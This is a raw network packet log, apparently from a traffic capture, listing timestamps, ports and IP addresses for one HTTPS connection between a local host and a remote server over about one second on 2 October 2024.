Oct 2, 2024 05:27:12.365005970 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.365015984 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.365039110 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.365056992 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.402976036 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.403008938 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.403331041 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.403357029 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.403412104 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.441194057 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.441230059 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.441503048 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.441524029 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.441579103 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.453665972 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.453696012 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.454020023 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.454047918 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.454098940 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.454098940 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.454128981 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.454153061 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.454382896 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.454401970 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.454458952 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.454900026 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.454915047 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.454948902 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.454982042 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.454989910 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.455017090 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.455214977 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.455231905 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.455285072 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.455293894 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.455682039 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.455709934 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.455750942 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.455760956 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.455786943 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.493669987 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.493697882 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.493881941 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.493904114 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.531929970 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.531970024 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.532304049 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.532318115 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.544331074 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.544344902 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.544589996 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.544600010 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.544775963 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.544795036 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.544850111 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.544858932 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.544892073 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.545186043 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.545202017 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.545243025 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.545250893 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.545274973 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.545581102 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.545603991 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.545638084 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.545644045 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.545660019 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.545941114 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.545964956 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.546000004 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.546005964 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.546029091 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.546325922 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.546344042 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.546381950 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.546390057 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.546411037 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.584222078 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.584239960 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.584491968 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.584506989 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.622647047 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.622668982 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.622867107 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.622881889 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.635207891 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.635226965 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.635394096 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.635410070 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.635560989 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.635584116 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.635651112 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.635658979 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.635668039 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.636070013 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.636085033 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.636131048 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.636138916 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.636159897 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.636441946 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.636461973 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.636519909 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.636529922 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.636936903 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.636950016 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.637006044 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.637015104 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.637257099 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.637275934 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.637324095 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.637331009 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.674963951 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.674987078 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.675179958 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.675199986 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.713536024 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.713573933 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.713728905 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.713747025 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.726078987 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.726100922 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.726166010 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.726186037 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.726377010 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.726398945 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.726434946 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.726443052 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.726475954 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.726807117 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.726819992 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.726876974 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.726882935 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.727174044 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.727197886 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.727231026 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.727237940 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.727264881 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.727672100 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.727684021 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.727736950 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.727744102 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.727977991 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.727993965 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.728030920 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.728037119 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.728058100 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.765655994 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.765681028 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.765971899 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.765990019 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.804339886 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.804379940 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.804552078 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.804564953 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.816766024 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.816785097 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.816915035 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.816925049 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.817107916 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.817125082 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.817166090 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.817173958 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.817207098 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.817507029 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.817518950 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.817560911 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.817568064 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.817599058 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.817933083 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.817950010 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.817980051 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.817986012 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.818008900 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.818356991 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.818367958 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.818413019 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.818419933 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.818787098 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.818802118 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.818835974 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.818842888 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.818865061 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.823807955 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.823904991 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.856412888 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.856436014 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.856544971 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.856564045 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.895154953 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.895193100 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.895292997 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.895308971 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.907506943 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.907525063 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.907686949 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.907706022 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.907895088 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.907916069 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.907948971 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.907954931 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.907989025 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.908281088 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.908298016 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.908341885 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.908349991 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.908375978 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.908739090 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.908755064 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.908795118 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.908803940 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.908833027 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.909252882 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.909264088 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.909324884 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.909332037 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.909523964 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.909540892 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.909579039 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.909584045 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.909609079 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.947201014 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.947226048 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.947360992 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.947395086 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.985826969 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.985857010 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.986124992 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.986148119 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.998660088 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.998675108 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.998912096 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.998931885 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.999005079 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.999021053 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.999057055 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.999064922 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.999090910 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.999296904 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.999310970 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.999351025 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.999360085 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.999376059 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.999963999 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.999983072 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.000017881 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:13.000030041 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.000042915 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:13.000046968 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.000075102 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.000099897 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:13.000109911 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.000123978 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:13.000639915 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.000654936 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.000705004 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:13.000718117 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.038224936 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.038249016 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.038472891 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:13.038496017 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.076731920 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.076764107 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.076854944 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:13.076878071 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.089140892 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.089160919 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.089257002 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:13.089282036 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.089421034 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.089448929 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.089483976 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:13.089494944 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.089524031 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:13.089893103 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.089906931 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.089955091 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:13.089967966 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.089981079 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:13.090317965 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.090338945 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.090370893 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:13.090380907 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.090404034 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:13.090783119 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.090795040 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.090837002 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:13.090847969 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.090877056 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:13.091160059 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.091176033 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.091212034 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:13.091221094 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.091248989 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:13.128762960 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.128783941 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.128896952 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:13.128921986 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.167531013 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.167561054 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.167721033 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:13.167747021 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.179804087 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.179830074 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.179903984 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:13.179928064 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.180254936 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.180279970 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.180315018 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:13.180325031 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.180352926 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:13.180669069 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.180684090 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.180732965 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:13.180744886 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.180763960 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:13.181103945 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.181126118 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.181159019 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:13.181169987 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.181188107 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:13.181530952 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.181545019 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.181602001 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:13.181617022 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.181972027 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.181987047 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.182029009 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:13.182040930 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.182060003 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:13.219399929 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.219427109 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:13.219559908 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:13.219583035 CEST	443	49704	207.241.227.240	192.168.2.5
